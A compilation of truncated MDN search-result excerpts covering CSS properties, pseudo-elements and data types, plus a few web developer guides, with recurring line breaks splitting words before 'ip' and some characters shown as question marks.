...nts and :-moz-tree-image, :-moz-tree-twisty, and :-moz-tree-checkbox pseudo-elements. note: -moz-image-region only works with <image> elements where the icon is specified using list-style-image. it will not work with xul <image src="url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples cl
ipping an image #example-button { /* display only the 4x4 area from the top left of this image */ list-style-image: url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { /* use the 4x4 area to the right of the first for the hovered button */ -moz-image-region: rect(0px, 8px, 4px, 4px); } specifications not part of any standard. ...
-moz-user-focus - CSS: Cascading Style Sheets
property is used to indicate whether an element can have the focus. /* keyword values */ -moz-user-focus: normal; -moz-user-focus: ignore; /* global values */ -moz-user-focus: inherit; -moz-user-focus: initial; -moz-user-focus: unset; by setting its value to ignore, you can disable focusing the element, which means that the user will not be able to activate the element. the element will be sk
ipped in the tab sequence. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete note: this property doesn't work for xul <xul:textbox> elements, because the textbox itself never takes focus. instead, xbl creates an anonymous html <input> element inside the textbox, and that element is what receives focus. you can stop the textbox from taking keyboard f...
...box itself never takes focus. instead, xbl creates an anonymous html <input> element inside the textbox, and that element is what receives focus. you can stop the textbox from taking keyboard focus by setting its tab index to -1, and from taking mouse focus by preventing the default action of mousedown events. syntax values ignore the element does not accept the keyboard focus and will be sk
ipped in the tab order. normal the element can accept the keyboard focus. select-after ? select-before ? select-menu ? select-same ? select-all ? none ? formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax ignore | normal | select-after | select-before | select-menu | select-same | select-all | none exa...
-webkit-line-clamp - CSS: Cascading Style Sheets
the -webkit-line-clamp css property allows limiting of the contents of a block container to the specified number of lines. it only works in combination with the display property set to -webkit-box or -webkit-inline-box and the -webkit-box-orient property set to vertical. in most cases you will also want to set overflow to hidden, otherwise the contents won't be cl
ipped but an ell
ipsis will still be shown after the specified number of lines. when applied to anchor elements, the truncating can happen in the middle of the text, not necessarily at the end. note: this property was originally implemented in webkit and has some issues. it got standardized for legacy support. the css overflow module level 3 specification also defines a line-clamp property, which is meant to replace this proper...
... be clamped. it must be greater than 0. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax none | <integer> examples truncating a paragraph html <p> in this example the <code>-webkit-line-clamp</code> property is set to <code>3</code>, which means the text is clamped after three lines. an ell
ipsis will be shown at the point where the text is clamped. </p> css p { width: 300px; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 3; overflow: hidden; } result specifications specification status comment css overflow module level 3the definition of '-webkit-line-clamp' in that specification. working draft initial definit...
::after (:after) - CSS: Cascading Style Sheets
color: red; } result decorative example we can style text or images in the content property almost any way we want. html <span class="ribbon">look at the orange box after this text. </span> css .ribbon { background-color: #5bc8f7; } .ribbon::after { content: "this is a fancy orange box."; background-color: #ffba10; border-color: black; border-style: dotted; } result toolt
ips this example uses ::after, in conjunction with the attr() css expression and a data-descr custom data attribute, to create toolt
ips. no javascr
ipt is required! we can also support keyboard users with this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a css :focus selector. this shows how flexible ::before and ::after can be, though for the most accessible...
...efore and ::after can be, though for the most accessible experience a semantic disclosure widget created in some other way (such as with details and summary elements) is likely to be more appropriate. html <p>here we have some <span tabindex="0" data-descr="collection of words and punctuation">text</span> with a few <span tabindex="0" data-descr="small popups that appear when hovering">toolt
ips</span>. </p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000;...
::before (:before) - CSS: Cascading Style Sheets
note that there are no icons used, and the check-mark is actually the ::before that has been styled in css. go ahead and get some stuff done. result special characters...
...ring, use a unicode escape sequence, consisting of a backslash followed by the hexadecimal unicode value. ...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
t-feature-settings, font-kerning, font-language-override, font-stretch, font-synthesis, font-variant, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligatures, font-variant-numeric, font-variant-position, font-weight, font-size, font-size-adjust, line-height and font-family all background properties : background, background-color, background-image, background-cl
ip, background-origin, background-position, background-repeat, background-size, background-attachment, and background-blend-mode all margin properties: margin, margin-top, margin-right, margin-bottom, margin-left all padding properties: padding, padding-top, padding-right, padding-bottom, padding-left all border properties: the shorthands border, border-style, border-color, border-width, border-r...
... text-decoration-style, box-shadow, float, vertical-align (only if float is none) css properties syntax /* css3 syntax */ ::first-letter /* css2 syntax */ :first-letter examples simple drop cap in this example we will use the ::first-letter pseudo-element to create a simple drop cap effect on the first letter of the paragraph coming right after the <h2>. html <h2>my heading</h2> <p>lorem
ipsum dolor sit amet, consetetur sad
ipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. stet clita kasd gubergren, no sea takimata sanctus est.</p> <p>duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> css p { width: 500px; line-he...
:focus - CSS: Cascading Style Sheets
nd: yellow; color: blue; } result accessibility concerns make sure the visual focus indicator can be seen by people with low vision. this will also benefit anyone use a screen in a brightly lit space (like outside in the sun). wcag 2.1 sc 1.4.11 non-text contrast requires that the visual focus indicator be at least 3 to 1. ...
... living standard defines html-specific semantics. ...
:indeterminate - CSS: Cascading Style Sheets
ir html indeterminate attribute set to true, radio buttons which are members of a group in which all radio buttons are unchecked, and indeterminate <progress> elements. /* selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascr
ipt <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields. html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label sta...
...& radio button this example applies special styles to the labels associated with indeterminate form fields. ...
:scope - CSS: Cascading Style Sheets
plicitly establish a scoped element. when used from a dom api such as queryselector(), queryselectorall(), matches(), or element.closest(), :scope matches the element on which the method was called. syntax :scope examples identity match in this simple example, we demonstrate that using the :scope pseudo-class from the element.matches() method matches the element on which it's called. javascr
ipt let paragraph = document.getelementbyid("para"); let output = document.getelementbyid("output"); if (paragraph.matches(":scope")) { output.innertext = "yep, the element is its own scope as expected!"; } html <p id="para"> this is a paragraph. it is not an interesting paragraph. sorry about that. </p> <p id="output"></p> result direct children a situation where the :scope pseudo-clas...
...(paragraph.matches(":scope")) { output.innertext = "yep, the element is its own scope as expected!"; } html <p id="para"> this is a paragraph. it is not an interesting paragraph. sorry about that. </p> <p id="output"></p> result direct children a situation where the :scope pseudo-class prove to be useful is when you need to get direct descendant of an already retrieved element. ...
:target - CSS: Cascading Style Sheets
this technique relies on the ability of anchor links to point to elements that are initially hidden on the page. once targeted, the css changes their display so that they are shown. note: a more complete pure-css lightbox based on the :target pseudo-class is available on github (demo). html <ul> <li><a href="#example1">open example #1</a></li> <li><a href="#example2">open example #2</a><...
...nce targeted, the css changes their display so that they are shown. note: a more complete pure-css lightbox based on the :target pseudo-class is available on github (demo). html <ul> <li><a href="#example1">open example #1</a></li> <li><a href="#example2">open example #2</a></li> </ul> <div class="lightbox" id="example1"> <figure> <a href="#" class="close"></a> <figcaption>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. donec felis enim, placerat id eleifend eu, semper vel sem.</figcaption> </figure> </div> <div class="lightbox" id="example2"> <figure> <a href="#" class="close"></a> <figcaption>cras risus odio, pharetra nec ultricies et, mollis ac augue. nunc et diam quis sapien dignissim auctor. quisque quis neque arcu, nec gravida m...
additive-symbols - CSS: Cascading Style Sheets
the additive-symbols descr
iptor lets you specify symbols when the value of a counter system descr
iptor is additive. the additive-symbols descr
iptor defines additive tuples, each of which is a pair containing a symbol and a non-negative integer weight. the additive system is used to construct sign-value numbering systems such as roman numerals. syntax additive-symbols: 3 "0"; additive-symbols: 3 "0", 2 "\2e\20"; additive-symbols: 3 "0", 2 url(symbol.png); when the system descr
iptor is cyclic, numeric, alphabetic, symbolic, or fixed, use the symbols descr
iptor instead of additive-symbols. formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax [ <integer> && <symbol> ]#where <symbol> = <string> | <image> | <custom-ident>where <image> = <...
... <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )<side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
prefix - CSS: Cascading Style Sheets
if not specified, the default value will be "" (an empty string). syntax /* <symbol> values */ prefix: ">>"; prefix: "page "; prefix: url(bullet.png); values <symbol> specifies a <symbol> that is prepended to the marker representation. it may be a <string>, <image>, or <custom-ident>. ...
... <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )<side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
column-count - CSS: Cascading Style Sheets
12 full support 12prefixed prefixed implemented with the vendor prefix: -webkit-firefox full support 52 full support 52 no support 1.5 -- 74prefixed notes prefixed implemented with the vendor prefix: -moz-notes prior to version 37, mult
iple columns didn't work with display: table-caption elements.ie full support 10opera full support 11.1 full support 11.1 full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari ...
... full support 18prefixed prefixed implemented with the vendor prefix: -webkit-firefox android full support 52 full support 52 full support 4prefixed notes prefixed implemented with the vendor prefix: -moz-notes prior to version 37, mult
iple columns didn't work with display: table-caption elements.opera android full support 11.1 full support 11.1 full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 9 ...
contain - CSS: Cascading Style Sheets
unding-box. note: if applied (with value: paint, strict or content), this property creates: a new containing block (for the descendants whose position property is absolute or fixed). a new stacking context. a new block formatting context. syntax /* keyword values */ contain: none; contain: strict; contain: content; contain: size; contain: layout; contain: style; contain: paint; /* mult
iple keywords */ contain: size paint; contain: size layout paint; /* global values */ contain: inherit; contain: initial; contain: unset; the contain property is specified as either one of the following: using a single none, strict, or content keyword. using one or more of the size, layout, style, and paint keywords in any order. values none indicates the element renders as normal, with ...
... in the spec and may not be supported everywhere. paint indicates that descendants of the element don't display outside its bounds. if the containing box is offscreen, the browser does not need to paint its contained elements -- these must also be offscreen as they are contained completely by that box. and if a descendant overflows the containing element's bounds, then that descendant will be cl
ipped to the containing element's border-box. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | strict | content | [ size | layout | style | paint ] examples simple layout the markup below consists of a number of articles, each with content: <h1>my blog</h1> <article> <h2>heading of a nice article</h2>...
<display-inside> - CSS: Cascading Style Sheets
ywords are used as values of the display property, and can be used for legacy purposes as a single keyword, or as defined in the level 3 specification alongside a value from the <display-outside> keywords. syntax valid <display-inside> values: flow the element lays out its contents using flow layout (block-and-inline layout). ...
...s: flow the element lays out its contents using flow layout (block-and-inline layout). if its outer display type is inline or run-in, and it is partic
ipating in a block or inline formatting context, then it generates an inline box. otherwise it generates a block container box. depending on the value of other properties (such as position, float, or overflow) and whether it is itself partic
ipating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context. flow-root the element generates a block element box that establishes a new block formatting context, defining where the formatting root lies. table these elements behave like html <table> elements. it defines...
<easing-function> - CSS: Cascading Style Sheets
r than 1.0 or smaller than 0.0 during the course of an animation. this causes the animation to go farther than the final state, and then return. for some properties, such as left or right, this creates a kind of "bouncing" effect. however, certain properties will restrict the output if it goes outside an allowable range. for example, a color component greater than 255 or smaller than 0 will be cl
ipped to the closest allowed value (255 and 0, respectively). some cubic-bezier() curves exhibit this property. syntax there are three types of easing function: linear, cubic bezier curves, and staircase functions. the value of an <easing-function> type describes the easing function using one of those three types. easing functions css supports three kinds of easing functions: linear, the subset ...
...ht: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascr
ipt const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn.textcontent === 'start animation') { divelem.style.animationname = 'move-right'; startbtn.textcontent = 'stop animation'; divelem.style.animationtimingfunction = selectel...
flex-wrap - CSS: Cascading Style Sheets
if wrapping is allowed, it sets the direction that lines are stacked. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. see using css flexible boxes for more properties and information. ...
...he flex-wrap property is specified as a single keyword chosen from the list of values below. values the following values are accepted: nowrap the flex items are laid out in a single line which may cause the flex container to overflow. the cross-start is either equivalent to start or before depending on the flex-direction value. this is the default value. wrap the flex items break into mult
iple lines. the cross-start is either equivalent to start or before depending flex-direction value and the cross-end is the opposite of the specified cross-start. wrap-reverse behaves the same as wrap but cross-start and cross-end are permuted. formal definition initial valuenowrapapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax nowrap | wrap ...
font-family - CSS: Cascading Style Sheets
ra mono", "dejavu sans mono", menlo, consolas, "liberation mono", monaco, "lucida console", monospace. cursive glyphs in cursive fonts generally have either joining strokes or other cursive characteristics beyond those of italic typefaces. the glyphs are partially or completely connected, and the result looks more like handwritten pen or brush writing than printed letterwork. e.g. "brush scr
ipt mt", "brush scr
ipt std", "lucida calligraphy", "lucida handwriting", "apple chancery", cursive. fantasy fantasy fonts are primarily decorative fonts that contain playful representations of characters. e.g. papyrus, herculanum, party let, curlz mt, harrington, fantasy. system-ui glyphs are taken from the default user interface font on a given platform. because typographic traditions var...
...f text. ui-sans-serif the default user interface sans-serif font. this is example ui-sans-serif text. ui-monospace the default user interface monospace font. this is example ui-monospace text. ui-rounded the default user interface font that has rounded features. this is example ui-rounded text. math this is for the particular stylistic concerns of representing mathematics: superscr
ipt and subscr
ipt, brackets that cross several lines, nesting expressions, and double struck glyphs with distinct meanings. this is some example math text: ax2 + bx + c = 0. emoji fonts that are specifically designed to render emoji. this is some example emoji text: ??. fangsong a particular style of chinese characters that are between serif-style song and cursive-style kai forms. this style...
font-size - CSS: Cascading Style Sheets
parent element's font size. for font-relative units that are root-based (such as rem), the font size is relative to the size of the font used by the <html> (root) element. <percentage> a positive <percentage> value, relative to the parent element's font size. note: to maximize accessibility, it is generally best to use values that are relative to the user's default font size. descr
iption there are several ways to specify the font size, including with keywords or numerical values for pixels or ems. choose the appropriate method based on the needs for the particular web page. keywords keywords are a good way to set the size of fonts on the web. by setting a keyword font size on the <body> element, you can set relative font-sizing everywhere else on the page, giving you the a...
...is dynamic. when defining the font-size property, an em is equal to the font size of the element on which the em is used. if you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. so, by default 1em = 16px, and 2em = 32px. if you set a font-size of 20px on the body element, then 1em = 20px and 2em = 40px. note that the value 2 is essentially a mult
iplier of the current em size. in order to calculate the em equivalent for any pixel value required, you can use this formula: em = desired element pixel value / parent element font-size in pixels for example, suppose the font-size of the body of the page is set to 16px. if the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). similarly, if you want a font size of...
font-variant-caps - CSS: Cascading Style Sheets
the font-variant-caps css property controls the use of alternate glyphs for capital letters. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. when a given font includes capital letter glyphs of mult
iple different sizes, this property selects the most appropriate ones. if petite capital glyphs are not available, they are rendered using small capital glyphs. if these are not present, the browser synthesizes them from the uppercase glyphs. fonts sometimes include special glyphs for various caseless characters (such as punctuation marks) to better match the capitalized characters around them. however, small capital gl...
...n turkic languages, such as turkish (tr), azerbaijani (az), crimean tatar (crh), volga tatar (tt), and bashkir (ba), there are two kinds of i (one with the dot, one without) and two case pairings: i/i and i/i. in german (de), the ss may become ss (u+1e9e) in uppercase. in greek (el), vowels lose their accent when the whole word is in uppercase (?/?), except for the disjunctive eta (?/?). also, d
iphthongs with an accent on the first vowel lose the accent and gain a diacritic on the second vowel (??/??). syntax /* keyword values */ font-variant-caps: normal; font-variant-caps: small-caps; font-variant-caps: all-small-caps; font-variant-caps: petite-caps; font-variant-caps: all-petite-caps; font-variant-caps: unicase; font-variant-caps: titling-caps; /* global values */ font-variant-caps:...
font-weight - CSS: Cascading Style Sheets
er { max-height: 150px; overflow-y: auto; } .sample { text-transform: uppercase; font: 1.5rem 'mutatorsans', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascr
ipt let weightlabel = document.queryselector('label[for="weight"]'); let weightinput = document.queryselector('#weight'); let sampletext = document.queryselector('.sample'); function update() { weightlabel.textcontent = `font-weight: ${weightinput.value};`; sampletext.style.fontweight = weightinput.value; } weightinput.addeventlistener('input', update); update(); accessibility concerns p...
...d ::first-line.inheritedyescomputed valuethe keyword or the numerical value as specified, with bolder and lighter transformed to the real valueanimation typea font weight formal syntax <font-weight-absolute> | bolder | lighterwhere <font-weight-absolute> = normal | bold | <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[1,1000]> examples setting font weights html <p> alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, "and what is the use of a book," thought alice "without pictures or con...
<image> - CSS: Cascading Style Sheets
ith any of the following: an image denoted by the <url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function. a selection of images chosed based on resolution defined by the image-set() function. descr
iption css can handle the following kinds of images: images with intrinsic dimensions (a natural size), like a jpeg, png, or other raster format. images with mult
iple intrinsic dimensions, existing in mult
iple versions inside a single file, like some .ico formats. (in this case, the intrinsic dimensions will be those of the image largest in area and the aspect ratio most similar to the containi...
... if "realid" is an existing id on the page */ image(ltr 'arrow.png#xywh=0,0,16,16', red) /* a section 16x16 section of <url>, starting from the top, left of the original image as long as arrow.png is a supported image, otherwise a solid red swatch. if language is rtl, the image will be horizontally fl
ipped. */ cross-fade(20% url(twenty.png), url(eighty.png)) /* cross faded images, with twenty being 20% opaque and eighty being 80% opaque. */ image-set('test.jpg' 1x, 'test-2x.jpg' 2x) /* a selection of images with varying resolutions */ invalid images nourl.jpg /* an image file must be defined using...
justify-content - CSS: Cascading Style Sheets
flush to each other toward the right edge of the alignment container in the appropriate axis. if the property's axis is not parallel with the inline axis, this value behaves like start. normal the items are packed in their default position as if no justify-content value was set. this value behaves as stretch in grid and flex containers. baseline first baseline last baseline specifies partic
ipation in first- or last-baseline alignment: aligns the alignment baseline of the box's first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group. the fallback alignment for first baseline is start, the one for last baseline is end. space-between the items are evenly distributed within the alignment containe...
... work...
left - CSS: Cascading Style Sheets
it has no effect on non-positioned elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <length> values */ left: 3px; left: 2.4em; /* <percentage>s of the width of the containing block */ left: 10%; /* keyword value */ left: auto; /* global values */ left: inherit; left: initial; left: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the left edge of the containing block. ...
...he distance of the element from its normal position is based on the right property; or if right is also auto, the element is not moved horizontally at all. inherit specifies that the value is the same as the computed value from its parent element (which might not be its containing block). this computed value is then handled as if it were a <length>, <percentage>, or the auto keyword. descr
iption the effect of left depends on how the element is positioned (i.e., the value of the position property): when position is set to absolute or fixed, the left property specifies the distance between the element's left edge and the left edge of its containing block. (the containing block is the ancestor to which the element is relatively positioned.) when position is set to relative, the le...
<length> - CSS: Cascading Style Sheets
e to make text more legible. absolute lengths can cause accessibility problems, since they are fixed and do not scale according to user settings. for this reason, prefer relative lengths (such as em or rem) when setting font-size. px one pixel. for screen displays, it traditionally represents one device pixel (dot). however, for printers and high-resolution screens, one css pixel implies mult
iple device pixels. 1px = 1/96th of 1in. cm one centimeter. 1cm = 96px/2.54. mm one millimeter. 1mm = 1/10th of 1cm. q one quarter of a millimeter. 1q = 1/40th of 1cm. in one inch. 1in = 2.54cm = 96px. pc one pica. 1pc = 12pt = 1/6th of 1in. pt one point. 1pt = 1/72nd of 1in. mozmm , removed in firefox 59 an experimental unit that attempts to render at exactly one millimeter regardl...
... inset -3px -3px 5px rgba(0,0,0,0.5); background-color: orange; display: flex; align-items: center; margin-top: 10px; } .result code { position: absolute; margin-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-content: flex-start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; } javascr
ipt const inputdiv = document.queryselector('.inner'); const inputelem = document.queryselector('input'); const resultsdiv = document.queryselector('.results'); inputelem.addeventlistener('change', () => { inputdiv.style.width = inputelem.value; const result = document.createelement('div'); result.classname = 'result'; result.style.width = inputelem.value; result.innerhtml = `<code>widt...
mask-image - CSS: Cascading Style Sheets
the mask-image css property sets the image that is used as mask layer for an element. /* keyword value */ mask-image: none; /* <mask-source> value */ mask-image: url(masks.svg#mask1); /* <image> values */ mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent); mask-image: image(url(mask.png), skyblue); /* mult
iple values */ mask-image: image(url(mask.png), skyblue), linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* global values */ mask-image: inherit; mask-image: initial; mask-image: unset; syntax values none this keyword is interpreted as a transparent black image layer. <mask-source> a <url> reference to a <mask> or to a css image. <image> an image value used as mask image layer. formal definition initial valuenoneapplies toall elements; in svg, it applies to ...
... <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )<side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
mask-mode - CSS: Cascading Style Sheets
the mask-mode css property sets whether the mask reference defined by mask-image is treated as a luminance or alpha mask. /* keyword values */ mask-mode: alpha; mask-mode: luminance; mask-mode: match-source; /* mult
iple values */ mask-mode: alpha, match-source; /* global values */ mask-mode: inherit; mask-mode: initial; mask-mode: unset; syntax the mask-mode property is specified as one or more of the keyword values listed below, separated by commas. values alpha this keyword indicates that the transparency (alpha channel) values of the mask layer image should be used as the mask values. luminance this keyword indicates that the luminance values of the mask layer image should be used as the mask values. match-source if the mask-image property is of type <mask-source>, the ...
... candidate recommendation initial definition ...
Orientation and motion data explained - Developer guides
evice's coordinate frame and the earth coordinate frame, and is measured in degrees. alpha rotation around the z axis -- that is, twisting the device -- causes the alpha rotation angle to change: the alpha angle is 0? when top of the device is pointed directly toward the earth's north pole, and increases as the device is rotated toward the left. beta rotation around the x axis -- that is, t
ipping the device away from or toward the user -- causes the beta rotation angle to change: the beta angle is 0? when the device's top and bottom are the same distance from the earth's surface; it increases toward 180? as the device is t
ipped forward toward the user, and it decreases toward -180? as the device is t
ipped backward away from the user. gamma rotation around the y axis -- that is, t...
...rd toward the user, and it decreases toward -180? as the device is t
ipped backward away from the user. gamma rotation around the y axis -- that is, tilting the device toward the left or right -- causes the gamma rotation angle to change: the gamma angle is 0? when the device's left and right sides are the same distance from the surface of the earth, and increases toward 90? as the device is t
ipped toward the right, and toward -90? as the device is t
ipped toward the left. ...
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotatex and rotatey values. ...
...inting 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey. ...
Event developer guide - Developer guides
e to the dom. use mutation observers instead if possible. orientation and motion data explainedwhen using orientation and motion events, it's important to understand what the values you're given by the browser mean. ...
... ...
Introduction to HTML5 - Developer guides
ssible. some html5 features remain unsupported by some browsers. however, gecko, and by extension, firefox, has very good support for html5, and work continues toward supporting more of its features. gecko began supporting some html5 features in version 1.8.1. you can find a list of all of the html5 features that gecko currently supports on the main html5 page. for detailed information about mult
iple browsers' support of html5 features, refer to the caniuse website. declaring that the document contains html5 mark-up with the html5 doctype the doctype for html5 is very simple. to indicate that your html content uses html5, simply use: <!doctype html> doing so will cause even browsers that don't presently support html5 to enter into standards mode, which means that they'll interpret the ...
...t with the <meta charset> the first thing done on a page is usually indicating the character set that is used. in previous versions of html, it was done using a very complex <meta> element. now, it is very simple: <meta charset="utf-8"> place this right after your <head>, as some browsers restart the parsing of an html document if the declared character set is different from what they had antic
ipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scr
ipts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this was done to tighten security and prevent some types of attacks. using the new html5 parser the parsing rules of...
Localizations and character encodings - Developer guides
tion of utf-8, locales that don't have a non-windows-1252 legacy encoding arising from the practices of the 1990s, should leave the fallback encoding at windows-1252 to facilitate reading content cross-locale from the old locales whose fallback encoding is windows-1252. new-authored locale-native utf-8 content is expected to declare its encoding, in which case the fallback encoding does not partic
ipate in the processing of content. additionally, there is a small number of locales where in the 1990s there wasn't an obvious single region-specific encoding and heuristic detection among mult
iple legacy encodings was introduced to web browsers. this has then had the effect that web authors have depended on heuristic detection being present, so firefox still has heuristic detection in these local...
...sily selectable from the character encoding menu the preference intl.charsetmenu.browser.static in intl.properties makes some character encodings more easily available in the character encoding menu in the browser. the value should be a comma-separated list of canonical encoding names. the list should include at least the fallback encoding, windows-1252 and utf-8. for locales where there are mult
iple common legacy encodings, all those encodings should be included. for example, the fallback encoding for japanese is shift_jis, but there are other legacy encodings: iso-2022-jp and euc-jp. therefore, it makes sense for the list to be shift_jis, euc-jp, iso-2022-jp, windows-1252, utf-8. ...
Mobile-friendliness - Developer guides
k of it in terms of three goals for improving your site's user experience: presentation, content, and performance. goal #1 (presentation) "make websites that work well on a variety of screen sizes." these days, users can access the web on devices in a wide range of form factors, including phones, tablets, and ereaders. needless to say, a fixed-width, three-column layout filled with complex javascr
ipt animations and mouse-over effects is not going to look or feel quite right on a phone with a 2-inch-wide screen and a diminutive processor. a slimmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate. that's why this first goal is all about presenting your content in a way that makes life easy for users on mobile device. goal #2 (content) "adjust y...
...creen would be much more appropriate. that's why this first goal is all about presenting your content in a way that makes life easy for users on mobile device. goal #2 (content) "adjust your content for mobile users." think about what your users want to do at your site if they are on a phone. a great example of this is alaska air's website. their desktop site focuses on getting visitors to book tr
ips. mobile users, however, are probably more interested in checking-in for a flight or seeing if their flight is delayed. they've adjusted their site's content to reflect this, and it meets the needs of mobile users. goal #3 (performance) "give your users a smooth experience, even on a slow connection." though things have been getting better in recent years, browsing the internet over a wireless da...
Separate sites for mobile and desktop - Developer guides
solve all three goals of mobile web development at once -- if the user's browser looks like it's on a phone, you serve them mobile content, formatted for their phone and optimized for speed. conceptually simple, this is the easiest option to add to an existing site, especially if you are using a cms or web application that supports templates. since only the mobile-specific content, styles, and scr
ipts are sent to mobile users, this method also provides for the best performance out of any of the other options presented here. finally, it also allows for completely different user experiences on desktop and mobile -- they're two different sites, after all! the bad unfortunately, this approach is not without its drawbacks. for starters, you are now maintaining two different pages for every page o...
...xhtml-mp or the older wml. this factor aside, there is one case where this strategy really shines over other methods. if the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, then using separate sites is simply likely to be the most practical choice. this is because you have the option of sending completely separate html, javascr
